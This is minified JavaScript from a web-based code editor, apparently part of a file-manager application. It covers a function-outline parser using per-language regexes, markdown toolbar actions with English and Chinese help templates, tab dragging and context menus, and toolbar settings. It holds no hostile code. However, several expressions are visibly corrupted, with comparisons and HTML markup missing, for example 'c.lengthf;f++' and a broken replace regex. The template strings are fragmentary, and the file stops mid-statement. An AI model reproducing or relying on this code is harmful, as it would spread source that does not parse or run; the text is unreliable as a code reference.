e={php:[{reg:/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,reg_name:/.*function\s+(.*\))/,reg_index:1,type_extents:{function_value:/\s*(private|protected)\s*/,function_var:/\s*(public)\s*/},type:"function"},{reg:/\s*class\s+(\w*)\s*.*\{/g,reg_name:/\s*class\s+(\w*)\s*.*\{/,reg_index:1,type:"class"}],javascript:[{reg:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*(.*)/,reg_index:1,reg_name_all:[1,2],type:"function function_var"},{reg:/\s*function\s+([\w\s]+)\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*function\s+([\w\s]+)\s*(.*)/,reg_index:1,reg_name_all:[1,2],type:"function function_define"},{reg:/\s*([\w\.]+)\s*:\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*([\w\.]+)\s*:\s*function\s*(\([\w,\s\*\[\]\<\>&$]*\))/,reg_index:1,reg_name_all:[1,2],type:"function function_value"}],python:[{reg:/\s*class\s+(\w+)\s*\(/g,reg_name:/\s*class\s+(\w+)\s*\(/,reg_index:1,type:"class"},{reg:/\s*def\s+(\w+)\s*\(.*\)/g,reg_name:/\s*def\s+(\w+)\s*\(.*\)/,reg_index:1,type:"function"}],ruby:[{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"},{reg:/\s*def\s+(\w+)\s*/g,reg_name:/\s*def\s+(\w+)\s*/,reg_index:1,type:"function"}],golang:[{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"},{reg:/\s*func\s+(\w+)\s*.*\{/g,reg_name:/\s*func\s+(\w+)\s*/,reg_index:1,type:"function"}],java:[{reg:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/g,reg_name:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/,reg_index:3,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"}],csharp:[{reg:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/g,reg_name:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/,reg_index:2,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"}],actionscript:[{reg:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/g,reg_name:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/,reg_index:1,type:"function"},{reg:/\s*class\s+(\w+)\s*.*\{/g,reg_name:/\s*class\s+(\w+)\s*.*\{/,reg_index:1,type:"class"}],objectivec:[{reg:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/g,reg_name:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/,reg_index:1,type:"function"},{reg:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/g,reg_name:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/,reg_index:1,type:"function"},{reg:/@implementation\s+(\w*)/g,reg_name:/@implementation\s+(\w*)/,reg_index:1,type:"class"},{reg:/#pragma\s+(mark\s+)?(.*)/g,reg_name:/#pragma\s+(mark\s+)?(.*)/,reg_index:2,type:"mark"}],c_cpp:[{reg:/([\w*]+\s+)+\*?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,reg_name:/\s+(\w+)\s*\(/,reg_index:1,type:"function"},{reg:/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,reg_name:/\s*(\w+)::~?(\w+)\s*\(/,reg_index:2,type:"function function_define"},{reg:/\s*class\s+(\w+)\s*:/g,reg_name:/\s*class\s+(\w+)\s*:/,reg_index:1,type:"class"}]},t=function(e,t){var i=e.match(t.reg);
if(i){for(var a=[],n=i.length,o=0,s=e,r=0;n>r;r++){var l={};l.the_match=i[r];var c=l.the_match.match(t.reg_name);if(c&&!(c.lengthf;f++)l.name+=c[u[f]]}o=o+d+l.the_match.length,s=e.substr(o),l.type=t.type,t.type_extents!==void 0&&$.each(t.type_extents,function(e,t){l.the_match.match(t)&&(l.type+=" "+e)}),a.push(l)}}return a}},i=function(i,a){if(void 0!==e[a]){for(var n=e[a],o=[],s=0;n.length>s;s++){var r=t(i,n[s]);r&&Array.prototype.push.apply(o,r)}o.sort(function(e,t){var i="pos_start";return e[i]=t[i]?1:void 0});for(var l=i.split("\n"),c=0,d=o[c],p=0,u=0;l.length>u&&d;u++){for(;d&&d.pos_start>=p&&d.pos_start<=p+l[u].length;)o[c].range={start:{row:u,column:d.pos_start-p},end:{row:u,column:d.pos_end-p}},c++,d=o[c];p=p+l[u].length+1}return o}},a=function(e){return e=e.replace(/[\r\n {]+/gi," "),e=e.replace(/"/gi,"'"),e=e.replace(/\/gi,">")};return function(t){var n="",o='No outline for the active view
',s=$("#"+t.kod.uuid).parent(),r=s.find(".function_search input"),l=s.find(".function_list_box"),c=function(){var e=Editor.current();if(!e||e.kod===void 0)return l.html(o),void 0;var t=function(e){var t=e.replace(/(^\s*)|(\s*$)/g,"");return t.replace(/(\{$)/,"")},s=e.kod.mode,c=i(e.getValue(),s);if(c===void 0||0==c.length)return l.html(o),void 0;var p=e.getCursorPosition().row;n="";for(var f=0;c.length>f;f++){var h=c[f],m=h.range;if(m){c.length-1>f&&p>=c[f].range.start.row&&c[f+1].range&&c[f+1].range.start.row>p&&(h.type+=" row_select"),f==c.length-1&&p>=c[f].range.start.row&&(h.type+=" row_select");var _=m.start.row+","+m.start.column+","+m.end.row+","+m.end.column,v=t(t(h.the_match)).substr(0,150);n+=''+' '+''+a(h.name)+"
"}}r.val()||d(r.val()),u()},d=function(e){if(""==n)return l.html(o),void 0;if(!e||""==e)return l.html(n),u(),void 0;var t=$(""+n+"
");t.find(".cell").each(function(){var t=$(this).text(),i=t.toLowerCase().indexOf(e.toLowerCase());-1!=i?(t=t.substr(0,i)+""+t.substr(i,e.length)+" "+t.substr(i+e.length),$(this).html(t)):$(this).parent().remove()}),l.html(t.html()),p($(l.find(".list_row").get(0)))},p=function(e){if(1==e.length){l.find(".list_row").removeClass("row_select"),e.addClass("row_select");var t=e.attr("data-range"),i=t.split(","),a={start:{row:parseInt(i[0]),column:parseInt(i[1])},end:{row:parseInt(i[2]),column:parseInt(i[3])}};Editor.current()&&(Editor.current().revealRange(a),r.textFocus())}},u=function(){var e=l;if(e.outerHeight()!=e.prop("scrollHeight")){var t=e.scrollTop(),i=t+e.height(),a=e.find(".row_select").index(),n=e.find(".list_row:eq(0)").outerHeight(),o=e.scrollTop();t>a*n?o=a*n:(a+1)*n>i&&(o=a*n-e.height()+n),e.scrollTop(o)}},f=function(){var e="mouse_is_down";l.delegate(".list_row","mouseover mousedown mouseout mouseup",function(t){var i=$(this);switch(t.type){case"mouseover":i.parent().hasClass(e)?p(i):i.addClass("row_hover");break;case"mousedown":p(i),i.parent().addClass(e);break;case"mouseout":i.removeClass("row_hover");break;case"mouseup":i.parent().removeClass(e);break;default:}}),l.bind("mouseup",function(){r.textFocus()}),l.bind("mousedown",function(t){return 1!=t.which?!0:(l.setCapture&&l.setCapture(),$(document).one("mouseup",function(){l.removeClass(e),l.releaseCapture&&l.releaseCapture()}),void 0)});var t=function(){var e=r.val();d(e),""==e?s.find(".search_reset").addClass("hidden"):s.find(".search_reset").removeClass("hidden")};r.unbind("keydown").bind("keydown",function(e){switch(e.keyCode){case 37:break;case 39:break;case 38:0!=s.find(".row_select").prev().length&&(p(s.find(".row_select").prev()),u()),stopPP(e);break;case 40:0!=s.find(".row_select").next().length&&(p(s.find(".row_select").next()),u()),stopPP(e);break;case 27:case 13:p(s.find(".row_select")),r.val(""),t(),Editor.current()&&Editor.current().focus(),stopPP(e);break;default:setTimeout(t,5)}}),s.find(".search_reset").unbind("click").bind("click",function(){r.val(""),t(),Editor.current()&&Editor.current().focus()})};return f(),{refresh:c,support:function(t){return-1==$.inArray(t,objectKeys(e))?!1:!0}}}}),define("app/src/edit/markdownTools",[],function(){var e=function(){return Editor.current()},t={bold:{type:"inline",tag:"**",insert:"**${1:Bold Text}**",title:"Bold (Ctrl-B)","class":"bold"},italic:{type:"inline",tag:"*",insert:"*${1:Italic Text}*",title:"Italic (Ctrl-I)","class":"italic"},strikethrough:{type:"inline",tag:"~~",insert:"~~${1:Strikethrough Text}~~",title:"Strikethrough","class":"strikethrough"},h1:{type:"head",insert:"# ",title:"Header 1 ","class":"text-height"},h2:{type:"head",insert:"## ",title:"Header 2 "},h3:{type:"head",insert:"### ",title:"Header 3 "},h4:{type:"head",insert:"#### ",title:"Header 4 "},h5:{type:"head",insert:"###### ",title:"Header 5 "},quote:{type:"head",insert:"> ",title:"Quote (Ctrl-Q)","class":"quote-left"},list_order:{type:"head",insert:" 1. ",title:"Unordered list (Ctrl-O)","class":"list-ol"},list_unorder:{type:"head",insert:" - ",title:"Ordered list (Ctrl-U)","class":"list-ul"},list_task:{type:"head",insert:"- [ ] ",title:"Incomplete task list","class":"check-empty"},list_task_complete:{type:"head",insert:"- [x] ",title:"Complete task list","class":"check"},line:{type:"insert",insert:"\n\n\n----\n$1",title:"Line ","class":"minus"},link:{type:"insert",insert:"[${1:}](http://$2)",title:"Link (Ctrl-L)","class":"link"},image:{type:"image",insert:"",title:"Image (Ctrl-G)","class":"picture"},table:{type:"insert",insert:"\n\n\n| header 1 | header 2 |\n| ----------- | ----------- |\n| row 1 col 1 | row 1 col 2 |\n| row 2 col 1 | row 2 col 2 |\n\n",title:"Table ","class":"table"},code:{type:"inlineBlock",title:"Code (Ctrl-K)","class":"code",inline:{tag:"`",insert:"`${1:Code}`"},block:{tag:"\n```\n",insert:"\n```\n${1:code}\n```\n"}},math:{type:"inlineBlock",title:"Math (Ctrl-M)","class":"superscript",inline:{tag:"$$",insert:"$$${1:Math}$$"},block:{tag:"\n```\n",insert:"\n```math\n${1:}\n```\n"}}},i=function(e,t){var i=e.session.getTextRange(e.getSelectionRange()),a=t.insert;if(""!==i&&(a=a.replace(/\{1:.*\}/g,"{1:"+i+"}")),""!==i){var n=e.getSelectionRange(),o={start:{row:n.start.row,column:n.start.column-t.tag.length},end:n.start},s={start:n.end,end:{row:n.end.row,column:n.end.column+t.tag.length}};e.session.getTextRange(o)==t.tag&&e.session.getTextRange(s)==t.tag&&(e.selection.setSelectionRange({start:o.start,end:s.end}),a="${1:"+i+"}")}ace.snippetManager.insertSnippet(e,a)},a=function(e,t){for(var i=e.getSelectionRange(),a=[],n=i.end.row-i.start.row+1,o=0,s=0;n>s;s++){var r={start:{row:i.start.row+s,column:0},end:{row:i.start.row+s,column:t.insert.length}};a.push(r),e.session.getTextRange(r)==t.insert&&o++}for(var s=0;n>s;s++){var l=a[s];n==o?e.session.doc.remove(l):e.session.doc.insert({row:l.start.row,column:0},t.insert)}},n=function(e,t){var i=e.session.getTextRange(e.getSelectionRange()),a=t.insert;""!==i&&(a=a.replace(/\{1:.*\}/g,"{1:"+i+"}")),ace.snippetManager.insertSnippet(e,a)},o=function(e,t){var a=e.session.getTextRange(e.getSelectionRange()),n=e.getSelectionRange(),o=e.session.getLine(n.start.row),s={type:"inline",tag:t.inline.tag,insert:t.inline.insert,title:t.title};(n.start.row!=n.end.row||a===o.replace(/(^\s*)|(\s*$)/g,""))&&(s={type:"inline",tag:t.block.tag,insert:t.block.insert,title:t.title}),i(e,s)},s=function(){var e=["bold","italic","strikethrough","|","h1","line","quote","list_order","list_unorder","|","link","image","code","table","math"],i="";return $.each(e,function(e,a){if("|"==a)i+="| ";else{var n=t[a],o="class='md-tools md-tools-"+a+" "+(n["class"]?"icon-"+n["class"]:"")+"' ";i+=" "}}),i},r=function(e){core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(t){core.fileLink(t,function(i){var a=core.pathThis(t),n="";ace.snippetManager.insertSnippet(e,n)})})},l=function(s){var l=t[s],c=e();if(l&&c){switch(l.type){case"inline":i(c,l,s);break;case"head":a(c,l,s);break;case"insert":n(c,l,s);break;case"inlineBlock":o(c,l,s);break;case"image":r(c);break;default:}e().focus()}},c=function(e){e.find(".md-tools[data-action]").bind("click",function(){var e=$(this).attr("data-action");l(e)})},d=function(e){$.each(t,function(i){var a=t[i];if(a.title&&a.title.match(/\((.*)\)/)){var n=a.title.match(/\((.*)\)/)[1],o=n.replace("Ctrl","Command");e.commands.addCommand({name:i,bindKey:{win:n,mac:o},exec:function(e){"ace/mode/markdown"==e.session.$modeId&&l(i)}})}})};return{bindEvent:function(e,t){e.find(".toolbar .content").html(s()),c(e),"ace/mode/markdown"==t.session.$modeId&&d(t)},doAction:l}}),define("app/src/edit/tpl/markdown_help_cn.html",[],'\n
1.标题与文字格式 \n
标题
\n
\n# 一级标题\n## 二级标题\n### 三级标题\n#### 四级标题\n##### 五级标题\n \n
文字格式
\n
\n*斜体*\n**粗体**\n***粗斜体*** \n~~删除线~~\n \n
水平线
\n
\n--- \n \n
了解更多 \n
\n\n\n
2.列表 \n
无序列表
\n
\n- item 1\n- item 2\n* item 3\n(可以是[减号,星号,加号]+空格)\n \n
有序列表
\n
\n1. item 1 [数字+空格]\n2. item 2\n3. item 3\n - child 1\n - child 2\n \n
\n\n\n
3.其他 \n
图片
\n
\n\n \n\n
连接
\n
\n[链接名称](http://链接网址)\n<http://链接网址>\n \n\n
引用
\n
\n> 引用\n> 折行可以不加,新起一行要加\n \n\n
代码
\n
\n行内代码:`code`\n```\nvar msg = "多行代码";\nalert(msg);\n```\n \n\n
公式
\n
\n行内公式 $$E=mc^2$$ ;\n\n多行公式\n$$E=mc^2$$\n\n多行公式2\n```math\nE=mc^2\n```\n \n
编辑器 \n |
公式教程 \n
\n'),define("app/src/edit/tpl/markdown_help.html",[],'\n
1.Headers and Emphasis \n
Headers
\n
\n# Header 1\n## Header 2\n### Header 3\n#### Header 4\n##### Header 5\n \n
Emphasis
\n
\n*Emphasis*\n**Strong**\n***Emphasis Strong*** \n~~Strikethrough~~\n \n
Line
\n
\n--- \n \n
Learn More \n
\n\n\n
2.Lists \n
Unordered list
\n
\n- item 1\n- item 2\n* item 3\n(also[- ,* ,+ )\n \n
Ordered list
\n
\n1. item 1\n2. item 2\n3. item 3\n - child 1\n - child 2\n \n
\n\n\n
3.Others \n
Image
\n
\n\n \n\n
Links
\n
\n[Link text](http://url)\n<http://url>\n \n\n
Blockquotes
\n
\n> Are you \n> ok ?\n \n\n
Code
\n
\ninline code:`code`\n```\nvar msg = "Block code";\nalert(msg);\n```\n \n\n
LaTeX Math
\n
\ninline $$E=mc^2$$ ;\n\nblock\n$$E=mc^2$$\n\nblock2\n```math\nE=mc^2\n```\n \n
Math Editor \n
\n'),define("app/src/edit/tpl/edit_tab_content.html",[],'\n\n'),define("app/src/edit/taskTap",[],function(){var e=function(){$(".edit_tab .tab").live("mouseenter",function(){$(this).addClass("hover"),$(this).unbind("mousedown").mousedown(function(e){1!=e.which||$(this).hasClass("this")||$.nodeName(e.target,"A")||($(this).removeClass("hover").addClass("this"),Editor.select($(this).attr("uuid")))}).unbind("mouseup").mouseup(function(e){2==e.which&&Editor.remove($(this).attr("uuid"))})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")}).die("dblclick").live("dblclick",function(e){stopPP(e)}),$(".edit_tab").die("dblclick").live("dblclick",function(e){Editor.add(),stopPP(e)}),$(".edit_tab .tab .close").live("click",function(){var e=$(this).parent().attr("uuid");Editor.remove(e)})},t=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},i=function(){$("body").click(t).contextmenu(t),$.contextMenu({zIndex:9999,selector:".edit_tab_menu",items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh_tab",icon:"refresh",accesskey:"e"},sep1:"---------",close:{name:LNG.close,icon:"remove",className:"close_self",accesskey:"d"},close_left:{name:LNG.close_left,icon:"remove-sign",className:"close_left",accesskey:"l"},close_right:{name:LNG.close_right,icon:"remove-sign",className:"close_right",accesskey:"r"},close_others:{name:LNG.close_others,icon:"remove-sign",className:"close_others",accesskey:"o"},sep2:"--------",open_the_path:{name:LNG.open_the_path,icon:"plus",className:"edit_open_the_path",accesskey:"n"},preview:{name:LNG.preview,icon:"globe",className:"edit_preview",accesskey:"p"}},callback:function(e,t){var i=t.$trigger,a=i.attr("uuid");switch(e){case"refresh":Editor.refresh(a);break;case"close":Editor.remove(a);break;case"close_left":var n=$(".edit_tab .tabs .tab").index(i);$(".edit_tab .tabs .tab:lt("+n+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close_right":var n=$(".edit_tab .tabs .tab").index(i);$(".edit_tab .tabs .tab:gt("+n+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close_others":$(".edit_tab .tabs .tab").each(function(){var e=$(this).attr("uuid");e!=a&&Editor.remove(e)});break;case"open_the_path":var o=i.attr("title");if(""==o)return Tips.tips(LNG.not_exists,"warning"),void 0;var s=core.pathFather(o),r=ShareData.frameTop();r.core.openPath(s);break;case"preview":Toolbar.doAction("preview");break;default:}}})},a=function(){var e,t,i,a,n=!1,o=!1,s=0,r=0,l=0,c=0,d=0,p=0,u=0,f=0;$(".edit_tab .tab").die("mousedown").live("mousedown",function(t){$.nodeName(t.target,"A")||(e=$.nodeName(t.target,"SPAN")?$(t.target).parent():$(this),1==t.which&&(n=!0,this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(e){v(e),this.releaseCapture&&this.releaseCapture()})))});var h=function(a){o=!0,s=a.pageX,l=a.pageY,$tab_parent=$(".edit_tab"),t=$(".edit_tab .tab"),$(".draggable-dragging").remove(),i=e.clone().addClass("draggable-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),r=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width")),c=$sizeInt(t.css("height"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),h=a.clientX-s+r;$("body").prepend("
"),i.css({width:d+"px",top:n,left:h}),e.css("opacity",0)},m=function(a){if(n){0==o&&h(a);var u=a.clientX-s+r,f=a.clientY-l+c;i.css({left:u,top:f}),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(u>t&&t+d/2+p>u){if(e.attr("uuid")==$(this).attr("uuid"))return;_($(this).attr("uuid"),"left")}if(u>t-d/2+p&&t>u){if(e.attr("uuid")==$(this).attr("uuid"))return;_($(this).attr("uuid"),"right")}})}},_=function(i,n){if(!e.is(":animated")||a!=i){a=i,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".edit_tab .tab");var o=e.width(),s=$(".edit_tab .tab_"+i),r=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(s).css("width","0px"):(e.before(s).css("width","0px"),s.before(r)),e.animate({width:o+"px"},animate_time),r.animate({width:"0px"},animate_time,function(){$(this).remove(),t=$(".edit_tab .tab")})}},v=function(){if(n=!1,o=!1,startTime=0,$(".dragMaskView").remove(),Editor.current()&&Editor.current().focus(),void 0!=i){var t=e.get(0).getBoundingClientRect().left,a=e.get(0).getBoundingClientRect().top;i.animate({left:t+"px",top:a+"px"},animate_time,function(){e.css("opacity",1),$(this).remove()})}}},n=function(e,t,i){"remove"==e&&t.removeClass("edit_tab_menu");var a=1.4*animate_time,n=150,o=n,s=$(".edit_tab .tab.edit_tab_menu"),r=$sizeInt($(".edit_tab .tabs").width()),l=$sizeInt(s.css("margin-right"))+$sizeInt(s.css("border-right")),c=$sizeInt($(".edit_tab .add").css("width"))+30,d=s.length,p=Math.floor((r-c)/(n+l));switch(d>p&&(o=Math.floor((r-c)/d)-l),e){case"add":$(".edit_tab .tabs .this").css({"margin-top":"30px",width:o}).stop(1,1).animate({"margin-top":"0px"},a),s.animate({width:o+"px"},a);break;case"remove":void 0!=i&&Editor.select(i),t.stop(1,1).animate({width:"0","margin-top":"+=30"},a,function(){t.remove()}),s.stop(1,1).animate({width:o+"px"},a);break;case"resize":s.css("width",o+"px");break;default:}};return{rightMenu:{hidden:t},resetWidth:n,init:function(){e(),a(),i()}}}),define("app/src/edit/toolbar",[],function(){var e=function(){i(),$(".toolMenu").bind("click mouseup",stopPP),$(".toolMenu").on("mousedown",function(){$(".toolMenu").removeClass("select"),$(this).addClass("select"),$(this).contextMenu({action:e})});var e=function(e,t){if(t.parent().hasClass("top_toolbar"))e.css({left:t.offset().left-4,top:t.outerHeight()-1});else if(t.parent().hasClass("bottom_toolbar")){var i=t.offset().left-e.outerWidth()+t.outerWidth()-5;e.css({left:i,top:t.offset().top-e.outerHeight()})}e.find("input").length>=1&&setTimeout(function(){e.find("input").focus()},10)};$.contextMenu({selector:".menuViewGotoline",trigger:"none",callback:n,items:{gotoline:{name:LNG.goto,className:"disable gotoline_input",type:"text"}}}),$.contextMenu({selector:".menuViewTab",trigger:"none",callback:n,items:{soft_tab:{name:"Soft Tabs (spaces)",className:"soft_tab"},sep1:"---------",tab_size_2:{name:"Tab with:2",className:"tab_size_set tab_size_2"},tab_size_3:{name:"Tab with:3",className:"tab_size_set tab_size_3"},tab_size_4:{name:"Tab with:4",className:"tab_size_set tab_size_4"},tab_size_8:{name:"Tab with:8",className:"tab_size_set tab_size_8"},sep2:"---------",convert_to_space:{name:"Convert To Space",className:"convert_to_space"},convert_to_tab:{name:"Convert To Tabs",className:"convert_to_tab"}}});for(var t=G.code_font_all.split(","),a={},s=0;t.length>s;s++){var r=t[s],l=replaceAll(r," ","_");a["set_font_family_"+r]={name:r,className:"set_font_family_"+l}}$.contextMenu({selector:".menuViewSetting",trigger:"none",callback:n,items:{tools:{name:LNG.tools,icon:"ellipsis-horizontal",accesskey:"m",items:{preview:{name:LNG.preview+"Ctrl+Shift+S ",icon:"edit"},open_ie:{name:LNG.open_ie,icon:"external-link",accesskey:"b"},sep1:"---------",beautify_html:{name:"html "+LNG.beautify_code,icon:"angle-right"},beautify_css:{name:"css "+LNG.beautify_code,icon:"angle-right"},beautify_js:{name:"js "+LNG.beautify_code,icon:"angle-right"},sep10:"---------",beautify_php:{name:"php "+LNG.beautify_code,icon:"angle-right"}}},sep1:"---------",function_list:{name:LNG.function_list+"Ctrl+Shift+E ",className:"function_list"},show_gutter:{name:LNG.show_gutter,className:"show_gutter"},auto_wrap:{name:LNG.wordwrap,className:"auto_wrap"},display_char:{name:LNG.char_all_display,className:"display_char"},sep2:"---------",font_family:{name:LNG.font_family,icon:"italic",className:"code_font_family_list",accesskey:"m",items:a},ace_mode:{name:LNG.keyboard_type,icon:"code",accesskey:"m",items:{keyboard_type_ace:{name:"Default",className:"keyboard_type_ace"},keyboard_type_vim:{name:"vim",className:"keyboard_type_vim"},keyboard_type_emacs:{name:"emacs",className:"keyboard_type_emacs"}}},sep3:"---------",help:{name:LNG.help,icon:"question",items:{shortcut:{name:LNG.shortcut,icon:"keyboard"},about:{name:LNG.about,icon:"info-sign"},emmet:{name:"Emmet help",icon:"code"},sep4:"-----------",learnMore:{name:LNG.learn_more,icon:"external-link"}}}}}),$(".tools [action]").bind("click",function(e){var t=$(this).attr("action");return n(t),Editor.current()&&Editor.current().focus(),stopPP(e),!1}),$(".tab_size_set").click(function(){var e=$(this).text().split(":");Editor.saveConfig("tab_size",e[1]),Editor.current()&&Editor.current().focus(),Editor.current().execCommand("convertIndent","reset_size")}),$("ul.code_font_family_list .context-menu-item").click(function(){Editor.saveConfig("font_family",$(this).find("span").html(),""),Editor.current()&&Editor.current().focus(),o()}),$("body").click(function(e){try{$(".toolMenu").removeClass("select"),window.parent.rightMenu.hidden(),e&&$(e.target).is("textarea")||$(e.target).is("input")||0!=$(e.target).parents(".right_main").length||Editor.current()&&Editor.current().focus()}catch(e){}}),$(".gotoline_input input").keyup(function(){Editor.current().gotoLine($(this).val())})},t=function(){var e=Editor.aceModeList.modes,t='